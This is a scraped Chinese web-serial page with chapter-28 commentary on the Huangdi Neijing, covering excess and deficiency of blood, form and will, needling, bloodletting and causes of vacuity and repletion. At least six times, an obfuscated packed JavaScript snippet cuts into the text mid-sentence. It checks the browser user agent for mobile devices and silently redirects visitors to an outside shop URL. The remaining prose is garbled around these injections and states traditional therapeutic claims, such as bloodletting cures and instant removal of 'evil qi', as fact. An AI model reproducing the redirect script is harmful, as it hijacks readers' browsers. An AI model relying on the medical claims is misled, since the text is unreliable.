对于“血有余的应当泻其充盛的经脉，针刺使其出血”，我们可以理解为，当人体内的血液充盈过度，超出了正常生理需求时，就需要通过一定的手段来“泄洪”，以恢复气血的平衡。在中医理论中，针刺疗法就是一种有效的“泄洪”方式。通过针刺那些因血液充盛而显得胀满的经脉，引导其部分血液排出体外，从而达到减轻身体负担、调和气血的目的。这种方法，既体现了中医“实则泻之”的治疗原则，也展示了中医针灸疗法的独特魅力。 而对于“血不足的应当观察其虚弱的经脉，采用补法”的论述，则强调了在治疗血虚病症时，应首先明确血虚的具体部位和程度，然后采取相应的补益措施。这里的“补法”，不仅包括药物治疗（如使用具有补血功效的中草药），还包括针灸、推拿、食疗等多种手段。通过综合运用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428766|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些方法，可以刺激和促进虚弱经脉的气血生成与流通，从而改善血虚症状，恢复身体的健康状态。 在中医针灸疗法中，进针刺中经脉后的观察与调整，无疑是一门精细的艺术，需要医者具备敏锐的洞察力和丰富的临床经验。当您提到在进针刺中经脉后，首先要确认的是病人的脉象是否正常。这一步，就如同在航海中检查罗盘，确保方向无误，是后续治疗决策的基础。 如果病人的脉象显示平稳正常，那么这通常意味着当前的针刺治疗方案与病人的身体状况相适应，可以进一步观察以巩固疗效。此时，长时间留针观察，就是为了让针灸的刺激作用更加充分地作用于经络，促进气血的调和与脏腑功能的恢复。这有点像是在炖一锅好汤，需要时间和火候的恰到好处，才能熬制出最佳的口感和营养。 然而，如果观察过程中发现病人的脉象出现了宏大之象，这往往是一个需要警惕的信号。脉象宏大，可能意味着气血的涌动超出了正常的生理范围，有可能形成气血逆乱的情况。此时，迅速出针就显得尤为重要。出针的动作要稳准快，以避免对病人造成不必要的刺激或损伤。同时，也需要注意不要使其出血，因为出血可能会进一步扰乱气血的平衡，不利于病情的稳定。 在这个过程中，医者就像是一位精心调控的工匠，需要不断地观察、判断和调整，以确保治疗过程的安全与有效。因此，对于针灸疗法的操作与观察，我们都应该持以严谨、细致的态度，以充分发挥其独特的疗效。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第28章 （6）形有余与不足的典型症状及高效补泻疗法 黄帝说形有余和形不足会出现哪些症状呢？ 岐伯说：“形有余”与“形不足”，是中医理论中阴阳平衡、气血调和观念的体现，用以描述人体生理状态的两种极端或偏颇情况。 形有余：腹部胀满，大小便不利 当我们说“形有余”时，可以理解为人体内的物质（如气血、水液等）过于充盈，甚至达到了过剩的状态。这种过剩可能源于多种原因，如饮食不节、情志失调等，导致气血运行不畅，水液代谢失衡。腹部作为人体脏腑的集中区域，当气血瘀滞或水液积聚时，自然会出现胀满之感。同时，由于水液代谢受阻，大小便的排泄也可能受到影响，表现为小便不利（如尿频、尿急、尿少或尿闭）和大便秘结或溏泻不爽等症状。 形不足：四肢不能运动 而“形不足”则是指人体内的物质或能量不足，无法满足正常的生理需求。在中医看来，这往往与气血亏虚、脏腑功能低下有关。四肢作为人体的远端部位，其运动依赖于气血的滋养和脏腑的协调。当气血亏虚时，四肢得不到足够的营养支持，就会出现运动无力、甚至不能运动的情况。此外，脏腑功能低下也会影响到气血的生成和分布，进一步加剧四肢的运动障碍。 在中医的理论体系中，邪气与正气、气血、脏腑之间的关系错综复杂而又微妙。仿佛是在描述一种身体与外来不良因素（即“邪气”）之间的微妙较量，尚未达到正面冲突的阶段。 “邪气尚未与气血相并”。在中医看来，邪气是指一切能够导致人体疾病的外来因素，如风寒暑湿燥火等六淫之邪，或是情志内伤、饮食劳倦等内生之邪。而气血则是人体生命活动的物质基础，它们在经络中运行不息，滋养着全身。当邪气尚未与气血正面交锋，即意味着疾病尚未深入脏腑，尚处于较为表浅的阶段。 “在五脏仍处于安定的时候，有邪气侵袭则邪气只是滞留在肌肉”这句话，进一步阐述了邪气侵袭人体的过程及其影响。五脏作为人体藏精气的核心器官，它们的安定与否直接关系到人体的健康状态。当五脏安定，正气充沛时，即使邪气侵袭，也往往只能停留在较为表浅的层次，如肌肉之间。此时，邪气虽然存在，但尚未对脏腑造成直接损害，因此病情相对较轻。 “使肌肉有蠕动的感觉，这叫做微风”，这里的“微风”并非指自然界中的微风，而是中医对一种轻微病邪侵袭人体后所表现出的特定症状的描述。肌肉蠕动感，可能是由于邪气在肌肉间游走，影响了局部的气血运行和经络通畅，从而引起的轻微不适感。这种不适感虽然轻微，但也足以提醒我们身体已经受到了外邪的侵扰，需要及时采取措施进行调理和防御。 综上所述，当邪气尚未与气血相并，五脏安定时，若有邪气侵袭，多表现为邪气滞留肌肉，引起肌肉蠕动等轻微症状，中医称之为“微风”。此时，我们应注意调整生活方式，增强体质，以防邪气进一步深入体内。 黄帝问怎样运用补泻之法进行治疗呢？ 岐伯说：对于“形有余”的情况，应当泻足阳明的经脉。在中医理论中，足阳明胃经是一条非常重要的经脉，它贯穿于人体上下，与脾胃功能紧密相关。当人体出现“形有余”的状态时，往往意味着体内有邪气积聚或气血过盛，此时通过泻足阳明经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428767|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脉，可以引导邪气从内向外排泄，达到驱邪外出的目的。这种治疗方法体现了中医“实则泻之”的治疗原则，即通过泻法来消除体内多余或有害的物质。 而对于“形不足”的情况，主张补足阳明的络脉。络脉是经脉的分支，它们遍布全身，起着沟通表里、运行气血的作用。当人体出现“形不足”时，往往意味着气血亏虚或脏腑功能低下，此时通过补足阳明的络脉，可以增强气血的生成和分布，使气血得以内聚，从而滋养全身。这种治疗方法则体现了中医“虚则补之”的治疗原则，即通过补法来增强机体的正气和抗病能力。 综上所述，岐伯所说的“形有余的应当泻足阳明的经脉，使邪气从内外泄；形不足的应当补足阳明的络脉，使气血得以内聚”，是中医治疗中针对不同体质和病情所采取的两种截然不同的治疗方法。它们共同构成了中医“辨证施治”思想的重要组成部分，为后世医者提供了宝贵的治疗思路和经验。 黄帝问怎样针刺微风之病那？ 岐伯说：“应当刺病人的分肉之间不要刺中经脉，也不要伤及脉络”，旨在通过精准的针刺手法，达到调和气血、驱邪扶正的目的。 我们来了解下分肉之间。在中医解剖学中，“分肉”指的是肌肉与肌肉之间的间隙，这些间隙看似微不足道，实则暗藏玄机。它们不仅是身体结构的组成部分，更是气血运行、经络通畅的重要通道。在这些间隙中，分布着错综复杂的神经末梢和血管网络，它们如同人体内部的信使和运输队，负责传递信息、输送养分和排除废物。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第28章 （7）志有余与不足的典型症状及高效补泻疗法 黄帝说志有余，和志不足，会出现哪些岐伯说：“志”不仅仅指现代意义上的意志或决心，它还与五脏中的“心”及“肾”的功能密切相关，涉及情志调节与脏腑功能的协调。在中医理论中，“志”的强弱可以影响人体的气机运行和脏腑功能。 “志有余就会腹胀泄泻”，这句话可以理解为当人的情志过于激动或亢奋时，容易导致气机紊乱，特别是影响到了脾胃的运化功能。中医认为，脾胃为后天之本，主运化水谷精微，若情志过激，气机逆乱，脾胃受损，则可能出现腹胀、泄泻等症状。这反映了中医情志致病理论的一部分，即情志的异常变化可以直接或间接地影响脏腑功能，导致疾病的发生。 而“志不足则会手足厥冷”，则是指当人的情志消沉、缺乏斗志时，机体的阳气可能受到影响，特别是肾阳虚衰时，温煦功能减弱，四肢末端得不到足够的温养，就会出现手足厥冷的现象。这里，“志”的不足被看作是肾阳虚衰的一个间接表现，因为中医理论认为，“肾为先天之本”，肾阳对全身脏腑组织起着温煦和推动的作用。 黄帝问怎样运用补泻之法进行治疗呢？ 岐伯说：志有余的应当泻然谷并针刺出血，志不足的则应当取复溜穴，采用补法”。 “泻然谷并针刺出血”，这里的“然谷”是足少阴肾经的一个穴位，位于内踝前下方，足舟骨粗隆下方凹陷中。在中医针灸理论中，对特定穴位进行“泻法”操作，如深刺、强刺激或配合放血等，可以达到泻热、排毒、调气等效果。因此，对于“志有余”导致的病理状态，如情志过激引起的气机逆乱、脏腑功能失调等，通过泻然谷并针刺出血，可以帮助疏通气机，调和脏腑，从而达到治疗目的。 而“取复溜穴，采用补法”，复溜穴同样是足少阴肾经的一个穴位，位于小腿内侧，太溪穴直上2寸，跟腱的前方。在针灸治疗中，“补法”操作相对温和，旨在扶正固本，增强脏腑功能。对于“志不足”导致的阳气虚弱、手足厥冷等症状，通过取复溜穴并采用补法，可以温补肾阳，增强机体的温煦功能，从而改善手足厥冷等寒象。 这种根据病情的不同而采用不同穴位和针灸手法的治疗方法，正是中医针灸学精髓之所在。它强调了辨证施治的重要性，即在治疗前要对患者的病情进行全面、细致的分析，然后根据分析结果制定相应的治疗方案。这种个性化的治疗方法，使得中医针灸在临床应用中具有极高的灵活性和有效性。 所以，当我们面对岐伯的这一医学智慧时，不妨将其视为一种古老而科学的治疗思路，既包含了对人体生理病理的深刻洞察，也蕴含了丰富的治疗经验和智慧。 黄帝问当邪气尚未与血气相并，邪气只滞留在骨骼时应当怎样针刺呢？ 岐伯说：应当立即在骨节有鼓动处刺治，但不要伤及经脉，只是针刺邪气滞留的地方，这样邪气就会马上被除去”这一说法，我们可以从中医针灸学的角度来进行解读。 关于岐伯提到的“骨节有鼓动处”，我解释一下。想象一下，我们的身体如同一个精密的仪器，骨节则是这仪器中的关键连接点，它们不仅支撑着我们的身躯，还参与着气血的流通与调节。当这个“仪器”遭遇“邪气”侵袭或“气血”瘀滞时，某些骨节部位就会像战场上的烽火台一样，率先亮起“鼓动”的信号灯。 这里的“鼓动”，不仅仅是物理意义上的肿胀或波动，更是体内正气与邪气激烈交战的直观体现。它告诉我们，这些部位正经历着一场无声的战役，正气在努力驱逐邪气，而邪气也在顽强抵抗。因此，这些“鼓动”之处，自然成为了针灸治疗时需要高度关注的战略要地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428768|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 针灸师们就像古代战场上的军师，他们通过望闻问切，精准地识别出这些“鼓动”的骨节，然后运用手中的银针，如同指挥千军万马一般，对邪气进行精准的打击。他们不仅要刺中邪气滞留的“要害”，还要确保不伤及无辜的经脉，以免破坏体内的平衡与和谐。 所以，当我们说“骨节有鼓动处”是针灸治疗时需要重点关注的区域时，其实是在强调中医针灸的精准性、针对性和人文关怀。它不仅仅是一种治疗手段，更是一种对人体奥秘深刻理解和尊重的体现。 岐伯说“不要伤及经脉”，保护正气，避免误伤。经脉是气血运行的通道，对于维持人体生命活动具有至关重要的作用。因此，在进行针灸治疗时，必须准确判断病情，精确选择穴位，避免误伤经脉，以免给患者带来不必要的伤害。 再来看“只是针刺邪气滞留的地方”，这进一步明确了针灸治疗的靶点和目的。针灸治疗的核心在于通过刺激穴位，调整人体的气血运行，从而达到驱邪扶正、恢复健康的目的。因此，在针刺时，必须准确找到邪气滞留的部位，并对其进行有针对性的刺激，以促使邪气排出体外，恢复人体的正常生理功能。 最后，“这样邪气就会马上被除去”，虽然实际效果可能因病情轻重、个体差异等因素而有所不同，但这一说法确实反映了中医针灸治疗在驱邪方面的独特优势。通过精准的穴位选择和适当的针刺手法，中医针灸能够迅速调动人体的正气， 与邪气进行斗争，并在一定程度上实现邪气的快速排出。 综上所述，岐伯的这一言论不仅体现了中医针灸治疗的精髓和原则，也为我们理解和应用中医针灸提供了宝贵的启示。在面对类似问题时，我们应该保持敬畏之心，深入学习和理解中医理论，以便更好地为患者服务。 第28章 （8）气血虚实的根源与发生机制 黄帝问：气血虚实是怎么样发生的？ 岐伯说：虚实之所以会发生，是由于邪气与气血混杂，阴阳间失去协调平衡而有所偏倾”，这不仅仅是对人体病理状态的一种高度概括，更是中医理论体系中阴阳学说与气血理论在临床实践中的具体体现。 当“邪气与气血混杂”。人体内部环境本应和谐有序，气血流畅无阻，滋养全身。然而，当外界的病邪（如风、寒、暑、湿、燥、火等）侵袭人体，或是内在脏腑功能失调产生内生邪气时，这些“不正之气”便会与体内的气血相互混杂，扰乱正常的生理秩序，导致气血运行不畅，甚至产生瘀滞、逆乱等现象。 这时阴阳间失去协调平衡而有所偏倾”。阴阳理论是中医理论的核心之一，它认为宇宙万物包括人体在内，都是由相互对立而又相互依存的阴阳两方面所构成。阴阳平衡是维持人体健康的重要前提，一旦这种平衡被打破，就会出现阴阳偏盛偏衰的情况，进而影响气血的正常运行和分布，导致“气窜乱于卫分，血逆行于经络”，即卫气失去了固护肌表、抵御外邪的功能，而血液则不循常道，逆流于经络之中。 最终，这种气血的离位、失序状态，就形成了中医所谓的“虚实”现象。实者，多指邪气盛而正气未衰，表现为实证，如邪气壅滞于经络脏腑，导致局部胀满、疼痛、拒按等症状；虚者，则指正气不足，脏腑功能低下，无法有效抵御邪气或恢复自身平衡，表现为虚症，如气虚、血虚、阴虚、阳虚等，患者多感疲乏无力、面色苍白、精神萎靡等。 岐伯说：血与阴邪相混，气与阳邪相混，则生惊狂；血与阳邪相混，气与阴邪相混，则生内热”，这不仅仅是简单的病理描述，更是中医阴阳气血理论在临床实践中的精妙运用。 对于“血与阴邪相混，气与阳邪相混，则生惊狂”这一说法，我们可以从中医的阴阳学说和气血理论来解读。在中医看来，血属阴，气属阳，而阴邪与阳邪则是外界或体内产生的两种不同性质的病邪。当血被阴邪所侵扰，气被阳邪所激荡，这种阴阳错位的状态会严重扰乱人体的心神，导致神志不宁，甚至产生惊狂的病症。惊狂，顾名思义，就是患者表现出惊恐不安、狂躁易怒等精神异常的症状。 再来看“血与阳邪相混，气与阴邪相混，则生内热。这里涉及到了中医的“热病”理论。当血被阳邪所熏灼，气被阴邪所郁遏，两者之间的相互作用会产生一种内热的状态。这种内热不同于外感风寒之热，它是由于体内阴阳气血的失衡而产生的，表现为身热不扬、口渴心烦、舌红苔黄等一派热象。 岐伯说：如果“血与邪气在人体的上部混杂，气与邪气在人体的下部混杂，就会产生心中烦闷且易怒的病症”。当血液的纯净性受到上部邪气的侵扰，而本应下沉滋养下焦的气却被下部的邪气所纠缠时，人体的上下气机便会出现逆乱。上部心火不得下潜以温肾水，下部肾水不能上济以润心火，心火独亢，自然会产生心中烦闷、易怒的情绪波动。 再来看“血与邪气在人体的下部混杂，气与邪气在人体的上部混杂，则会使人精神散乱健忘”。这种情况则像是气血与邪气的位置完全颠倒了一般。血本应滋养全身，特别是上部的心脑，以维持清晰的思维和记忆；气则主导着人体的运动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428769|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与功能，尤其是下部的脏腑经络。但当血被下部的邪气所困，无法上行滋养心脑；气则被上部的邪气所扰，无法下沉安定脏腑时，人体的精神活动便会受到影响，出现精神散乱、健忘等症状。 黄帝问：血与阴邪混杂气与阳邪混杂，像这种血气离开各自的本位的病症，怎样算是实怎样算是虚呢？ 岐伯说：“血和气都是喜欢温暖而厌恶寒冷的”，”其蕴含了中医对于气血运行规律及外界环境对人体影响的深刻理解。 首先，我们得明白，气血是构成人体和维持人体生命活动的基本物质。血，如同河流般滋养着全身，为各组织器官提供必要的营养；气，则是推动和调控人体新陈代谢的动力源泉，它的升降出入，遍布全身，无处不在。 那么，为什么血和气都喜欢温暖而厌恶寒冷呢？这主要是因为温度是影响气血运行的重要因素之一。在中医理论中，寒为阴邪，其性凝滞、收引。当人体遭受寒冷侵袭时，寒邪会阻碍气血的正常运行，导致气血凝滞、流通不畅。这就像冬天河流结冰一样，水流变得缓慢甚至停滞不前。而温暖则具有促进气血流通、消散寒邪的作用。当人体处于温暖的环境中时，气血得以顺畅运行，各组织器官得到充分的滋养和濡润，从而保持正常的生理功能。 中医还强调“血得温则行，得寒则凝”的道理。这意味着，在温暖的条件下，血液能够更好地发挥其营养和滋润作用；而在寒冷的条件下，则容易导致血液凝固、循环不畅。同样地，气也需要温暖的环境来推动其正常运行和发挥作用。 这章没有结束，请点击下一页继续阅读！ 第28章 （9）气血偏盛的虚实两面：表现特征＋调理渠道 黄帝问，人最重要的就是气和血，您说的血偏盛是虚，气偏盛也是虚，难道就没有实吗？ 岐伯说：多余的就是实，不足的就是虚”，实际上是在阐述人体生理病理状态下的一种基本判断原则。 气偏盛则血不足是气实血虚”时，气与血是构成人体和维持生命活动的基本物质，二者相互依存、相互滋生。气具有推动、温煦、防御、固摄等作用，而血则负责濡养全身脏腑组织。若气过于强盛，超出了正常的生理范围，可能会过度消耗或制约血的生成与运行，导致血相对不足，形成所谓的“气实血虚”状态。 “血偏盛则气不足是血实气虚”，则是指当体内血液充盈过度，超出了正常生理需求时，可能会反过来影响气的生成与功能发挥，造成气的相对不足。这种状态下，虽然血液看似充足，但由于气的推动、调控作用减弱，反而可能引发一系列病理变化，如血瘀、气滞等。治疗时，同样需要注重气血的调和，既要考虑去瘀生新，又要兼顾补气行血。 岐伯说：血与气的关系如同日月星辰，相互辉映，共同维系着人体的健康与平衡。当血和气各自偏离了它们本应坚守的岗位，失去了那份默契与和谐，确实会陷入一种“虚”的境地。这就像是一支乐队，如果鼓手和钢琴家各自为政，不按乐谱演奏，那么整个乐章就会显得杂乱无章，失去原有的韵味。 而关于“人身络脉和孙脉的气血都流注到经脉，如果血与气混杂就成为实了”这一说法，我们可以这样理解：在中医经络系统中，络脉和孙脉如同小溪细流，它们将气血缓缓输送到更大的经脉之中，这些经脉则如同江河，汇聚了全身的气血精华。正常情况下，气血在经脉中是有序流动的，它们各司其职，相互协作，共同维持着人体的生理活动。 然而，当某些因素导致气血在经脉中流动不畅，或者气血本身的状态发生异常（如气滞血瘀、气血两虚等），就可能出现血与气混杂的情况。这种混杂并非简单的物理混合，而是指气血之间的关系失去了平衡，导致它们无法按照正常的规律运行。在这种情况下，气血的“实”并非指其数量上的充盈，而是指其功能的紊乱和状态的异常。 在中医的奇妙世界里，血与气的关系微妙而复杂，它们如同两位默契的舞者，在人体的舞台上演绎着生命的旋律。然而，当这两位舞者不慎“绊脚”，即血与气混杂并逆着经络的指引而上冲时，一场突如其来的“大厥病”就可能悄然上演，让人措手不及，仿佛瞬间陷入了死亡的边缘。 想象一下，这就像是体内的河流突然倒灌，本该滋养万物的水流却逆流而上，冲击着脆弱的堤岸，威胁着整个生态的平衡。在人体中，这样的逆流会导致气血严重失衡，头部作为气血汇聚的高地，首当其冲，承受着巨大的压力，从而引发突然昏厥，症状之剧烈，犹如暴死一般。 但中医的魅力在于它的辩证与灵活。面对这样的危急情况，治疗的关键在于引导这股逆乱的气血重新找到它们的归途，让它们能够顺流而下，回归本位。如果气血能够及时得到这样的疏导，患者就有可能从死亡的边缘被拉回，重获生机。 然而，如果气血被顽固地“堵”在了上方，无法顺利下行，那么情况就会变得十分棘手。随着时间的推移，这股瘀滞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428770|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的气血可能会对人体造成更加严重的损害，甚至导致生命的终结。 因此，对于大厥病这样的急症，中医强调“急则治其标”，即首先要迅速采取措施，引导气血下行，恢复其正常的流动状态。同时，也要注重查找导致气血逆乱的根源，从根本上解决问题，防止病情的反复和加重。 在这个过程中，中医的针灸、推拿、中药等方法都能发挥重要作用。它们通过不同的途径和手段，调整人体的气血平衡，激发人体的自愈能力，帮助患者度过难关，重获新生。 黄帝问：实是通过什么渠道来的虚，又是通过什么渠道来的？希望能听您讲一讲虚和实的形成关键。 岐伯说：阴经和阳经都有起到输入和汇合作用的腧穴，以互相沟通”，这不仅仅是对人体经络网络的一种描述，更是对生命奥秘的一种深刻揭示。 在中医理论中，经络是气血运行的通道，它们遍布全身，内联脏腑，外络肢节，是人体功能活动的重要基础。而阴经与阳经，则是经络系统中两大主要类别，它们分别承载着不同的气血属性和功能特点。然而，尽管阴阳有别，但它们之间却并非孤立无援，而是通过一系列特定的腧穴相互沟通、相互协调，共同维持着人体的生理平衡。 这些起到输入和汇合作用的腧穴，就像是经络网络中的交通枢纽，它们不仅连接着阴经与阳经，更连接着人体内外、上下、左右各个部分。通过这些腧穴的沟通作用，气血得以在阴阳之间自由流转，从而实现人体的整体协调与平衡。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第28章 （10）风雨、寒湿之邪的健康危害全解析 黄帝问风雨之邪伤人的情况是怎样的呢？ 岐伯说：风雨伤人先侵入皮肤。皮肤被视为人体的第一道防线，它直接与外界环境接触，承担着抵御外邪入侵的重任。风雨等自然因素，若过于强烈或人体正气不足，便有可能成为“外邪”，首先侵袭皮肤，导致腠理不固，卫气失守。 接下来，“由皮肤传入孙脉”这一过程，则体现了中医对经络系统的独特认识。孙脉，即细小络脉，是经络系统中较为细微的部分，它们遍布全身，与皮肤紧密相连。当外邪突破皮肤防线后，会进一步沿着孙脉深入，影响气血运行。 “孙脉满则传入络脉”，这里的“满”可以理解为邪气在孙脉中积聚到一定程度，进而向更深层次的经络系统——络脉扩散。络脉相较于孙脉更为复杂，它们交织成网，遍布脏腑组织之间，是气血运行和营养物质交换的重要通道。一旦络脉受邪，不仅会影响局部的气血流通，还可能对脏腑功能造成间接影响。 最后，“络脉满则注入大经脉”，大经脉即十二正经及奇经八脉等主要经络，它们在人体内起着主导作用，维系着全身的气血运行和脏腑功能的协调。当邪气在络脉中进一步积聚，达到一定程度时，便会通过经络系统的内在联系，最终影响到大经脉，此时病情往往已经较为深重，治疗难度也会相应增加。 “血气与邪气并聚于分肉凑里之间”这一复杂而微妙的生理病理现象时，我们首先需要理解其背后的逻辑与机制。这里所说的“血气”，乃人体之根本，是生命活动的物质基础，它滋养着全身，维持着机体的生理功能；而“邪气”，则是外界或体内产生的对机体有害的因素，如风寒暑湿燥火六淫之邪，或是痰饮、瘀血等病理产物。 当血气运行不畅，与邪气相互纠结，滞留于肌肉腠理之间时，便形成了中医所谓的“实症”。这种实证状态，在脉象上常表现为坚实而有力，反映出体内正气尚足，与邪气相争的态势。正如您所言，“其脉象必定坚实而大”，这正是正气抗邪、气血充盛于局部的体现。 至于“表面坚实，充满肌肤不能触按，触按则痛”，这是实症在体表的一种直观表现。由于血气与邪气交争，导致局部气血壅滞，形成了一种类似于“肿胀”的状态，使得皮肤表面看似坚实紧绷，实则内部充满了紧张与压力。此时，若以外力触按，势必会加重局部气血的瘀滞与冲突，从而引发疼痛。 黄帝问寒湿之邪伤人的情况是怎样的呢？ 岐伯说：寒湿之邪气伤人，会使皮肤失去收缩功能”这一观点，我们可以从中医的阴阳五行、脏腑经络等理论体系中寻找答案。 首先，让我们来理解一下“寒湿之邪气”是什么。在中医理论中，湿邪是自然界中水湿之气太过，或人体脏腑功能失调，导致水湿停聚体内所产生的病理因素。而寒邪，则是自然界中寒冷之气太过，或人体感受寒冷之气所引发的致病因素。当寒湿二邪相合，其致病特点更为复杂多变，既有湿邪的黏滞重浊，又有寒邪的凝滞收引。 接下来，我们看这一邪气如何影响皮肤。中医认为，皮肤是人体最大的器官，具有保护、感觉、调节体温、分泌排泄等多种功能。而皮肤的这些功能，在很大程度上依赖于气血的充盈与流畅，以及卫气的固护作用。当寒湿之邪气侵袭人体时，它们会阻滞气血的运行，影响卫气的正常功能，从而导致皮肤失去应有的生理状态。 具体到“皮肤失去收缩功能”这一点，我们可以理解为寒湿邪气导致皮肤的气血运行不畅，卫气失于固护，使得皮肤失去了正常的弹性和紧致度。在中医看来，皮肤的收缩与舒张，是气血、卫气与皮肤之间相互作用的结果。当这种平衡被寒湿邪气打破时，皮肤就可能出现松弛、无弹性等变化。 当然，这里所说的“皮肤失去收缩功能”并非指皮肤完全无法收缩，而是指相对于健康状态而言，皮肤的收缩能力减弱或出现异常。在实际的临床中，寒湿邪气伤人还可能引发一系列 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428771|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的皮肤问题，如湿疹、皮炎、冻疮等，这些疾病都可能伴有皮肤收缩功能的异常。 关于“虚症大多会引起皮肤松弛而有皱纹，卫气不足，营血滞涩等症状”这一说法，我们可以从中医的整体观念和气血理论出发，进行一番探讨。 首先，我们要明确的是，中医所说的“虚症”，并非简单的身体虚弱或缺乏营养，而是指人体正气不足，脏腑功能低下，或气血阴阳等生命基本物质亏损的病理状态。当人体处于虚症状态时，机体的生理功能和防御能力都会受到影响，从而引发一系列的症状。 关于皮肤松弛和皱纹的产生，中医认为这与气血的充盈与流畅密切相关。气血是维持皮肤弹性和光泽的重要物质基础，当气血充足且运行顺畅时，皮肤自然能够保持紧致和光滑。然而，在虚症状态下，由于正气不足，气血生成减少或运行不畅，皮肤得不到足够的滋养和濡润，就容易出现松弛和皱纹。 此外，卫气不足也是虚症常见的一个症状。卫气是行于脉外之气，具有温养肌肤、调节汗孔开合、防御外邪入侵等作用。当卫气不足时，皮肤的防御能力下降，容易受到外界风寒湿邪的侵袭；同时，由 于卫气不能有效地调节汗孔的开合，也会影响皮肤的正常代谢和排泄功能，进一步加剧皮肤的松弛和老化。 至于“营血滞涩”，这更是虚症导致皮肤问题的一个重要环节。营血是运行于脉中的富有营养的红色液态物质，是构成人体和维持人体生命活动的基本物质之一。当营血滞涩时，意味着血液在脉管中的流动速度减慢或停滞不前，这不仅会影响皮肤的血液供应和营养物质的输送，还会导致局部代谢产物的堆积和毒素的滞留，从而引发皮肤暗沉、色斑、皱纹等问题。 综上所述，虚症确实会引起皮肤松弛而有皱纹、卫气不足、营血滞涩等症状。在中医的治疗中，通常会采用补益气血、调和营卫、活血化瘀等方法来改善这些症状，以恢复皮肤的健康和美丽。 第28章 （11）情志波动导致虚实之症，及阴阳失衡诱发的危机 黄帝说：阴分所引发的实证是怎样的呢？ 岐伯说：人如果经常发怒而不加节制，就会使阴气上逆。在中医看来，人体是一个复杂的动态平衡系统，阴阳相互依存、相互制约，共同维持着生命活动的有序进行。怒，作为一种强烈的情绪反应，若长期不加控制，确实会扰乱体内的气机运行。 具体来说，怒气伤肝，而肝主疏泄，调畅气机。当怒气过甚，肝气疏泄太过，就会形成所谓的“肝气上逆”，这里的“阴气上逆”可理解为肝气逆乱导致的阴阳气机失衡中的一种表现。阴气上逆，则下焦（即人体下部，包括肝肾等脏腑）的阴气相对不足，形成一个局部的“阴虚”状态。 根据中医“阳病治阴，阴病治阳”的原则，下焦阴气不足，为了维持整体的阴阳平衡，上焦或其他部位的阳气可能会相对过剩，并有可能下移至下焦进行“填补”，这便是“阳气过了填充”的意涵。然而，这种“填补”并非真正的平衡恢复，而是病理性的代偿机制，往往会导致新的失衡，即所谓的“实证”形成。 黄帝问阴分所引发的虚症是怎样的呢？ 